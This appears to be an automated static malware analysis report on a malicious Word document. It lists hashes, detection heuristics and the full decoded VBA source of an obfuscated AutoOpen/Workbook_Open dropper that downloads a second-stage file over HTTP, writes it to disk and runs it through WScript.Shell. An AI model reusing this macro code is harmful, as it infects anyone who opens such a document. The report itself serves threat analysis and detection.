Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6bc066777352a487…

MALICIOUS

Office (OOXML)

21.5 KB Created: 2015-12-01 15:53:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2016-02-21
MD5: b4bd6adab1f1f4fc5e25c9a6bad74728 SHA-1: fae5e2ea1cccec7ee7f6ee4ad34c00ca230d4369 SHA-256: 6bc066777352a487f4dc8132da951eda3b6f993a2b7c41cd0a70c5f60543982d
246 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The AutoOpen and Workbook_Open macros trigger a function that uses CreateObject to download and execute a second-stage payload. The script attempts to download a file to the user's environment path and execute it, indicating a dropper functionality. The ClamAV detection further supports its malicious nature.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-1596584 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-1596584
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    qokjdjsscx = rywocnjss.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ywuijvnns = CreateObject(Form1.xh)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    strEnv = Environ(Form1.sto) & "\" & Form1.sf
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3308 bytes
SHA-256: 680bd2608b68e54df7b1e973782974654790a98e487292ce05728149e3a13cda
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub ueiwjfdjkfdsv()
Dim yruehdjdnnz As Integer
yruehdjdnnz = 2
Do While yruehdjdnnz < 45
DoEvents: yruehdjdnnz = yruehdjdnnz + 1
Loop
'11
Set ywuijvnns = CreateObject(Form1.xh)

Dim ueioiwocknczjhs As Integer
ueioiwocknczjhs = 4
Do While ueioiwocknczjhs < 70
DoEvents: ueioiwocknczjhs = ueioiwocknczjhs + 1
Loop


Dim jkskirewujvnn As Integer
jkskirewujvnn = 8
Do While jkskirewujvnn < 20
DoEvents: jkskirewujvnn = jkskirewujvnn + 1
Loop

Application.Run "truyiqwnd.grwopghsxxjs", ywuijvnns

Dim uommdhwlxc As Integer
uommdhwlxc = 7
Do While uommdhwlxc < 66
DoEvents: uommdhwlxc = uommdhwlxc + 1
Loop

Application.Run "uidskawqd.rewfuiyhsdjk", ywuijvnns

Dim slfjuiecmms As Integer
slfjuiecmms = 8
Do While slfjuiecmms < 68
DoEvents: slfjuiecmms = slfjuiecmms + 1
Loop

Application.Run "Ywidsmlwa", uidskawqd.eijdnceiwkxz(ywuijvnns)
End Sub
Sub AutoOpen()
    ueiwjfdjkfdsv
End Sub
Sub Workbook_Open()
    ueiwjfdjkfdsv
End Sub






Attribute VB_Name = "truyiqwnd"
Public Function urewhfdskj()
urewhfdskj = StrReverse("llehS.tpircSW")
End Function

Function grwopghsxxjs(ByVal yuwichcbshjk)
yuwichcbshjk.Open "G" & StrReverse("TE"), Form1.sc & Form1.gt & Form1.ln, False
End Function

Function Ywidsmlwa(ByVal dhwduhgx)
On Error Resume Next
Dim strEnv
strEnv = Environ(Form1.sto) & "\" & Form1.sf

Kill strEnv

Dim uehdbcxsd As Integer
uehdbcxsd = 7
Do While uehdbcxsd < 66
DoEvents: uehdbcxsd = uehdbcxsd + 1
Loop

Set topcnbjkqc = CreateObject(Form1.ads)
topcnbjkqc.Open
topcnbjkqc.Type = 1

Dim kiwqazbcf As Integer
kiwqazbcf = 5
Do While kiwqazbcf < 78
DoEvents: kiwqazbcf = kiwqazbcf + 1
Loop

topcnbjkqc.Write dhwduhgx

Dim tuiwodmcs As Integer
tuiwodmcs = 2
Do While tuiwodmcs < 54
DoEvents: tuiwodmcs = tuiwodmcs + 1
Loop

uidskawqd.mdyrudsjdnb topcnbjkqc, strEnv


Dim ieywhdcba As Integer
ieywhdcba = 9
Do While ieywhdcba < 38
DoEvents: ieywhdcba = ieywhdcba + 1
Loop

topcnbjkqc.Close

Set uowqopijcsl = CreateObject(urewhfdskj)
uowqopijcsl.Run Form1.cm & strEnv & """", 0, False
End Function

Attribute VB_Name = "Form1"
Attribute VB_Base = "0{23F0AFC1-35F0-4453-9CE0-2DB613B6574C}{A56F7EC4-03B0-4350-B7D4-CF4E3AC4B6A9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "uidskawqd"
Function rewfuiyhsdjk(ByVal fjhseuywe)
fjhseuywe.send
End Function

Private Function qokjdjsscx(ByVal rywocnjss)
qokjdjsscx = rywocnjss.responseBody
End Function

Function eijdnceiwkxz(ByVal tyudkidsmcx)
eijdnceiwkxz = qokjdjsscx(tyudkidsmcx)
End Function

Function mdyrudsjdnb(ByVal fyeisnbdsjsa, ByVal skwyrtdhcn)
zueiwonfbjh.dksowutryfnc fyeisnbdsjsa, skwyrtdhcn
End Function

Attribute VB_Name = "zueiwonfbjh"
Function dksowutryfnc(ByVal uoqwocxmnb, ByVal jjwodsocjns)
uoqwocxmnb.SaveToFile jjwodsocjns
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 24576 bytes
SHA-256: 9ea9fb6e993b6f04652dc4433e01a3969488f5301af1abef6b08612abdd1d879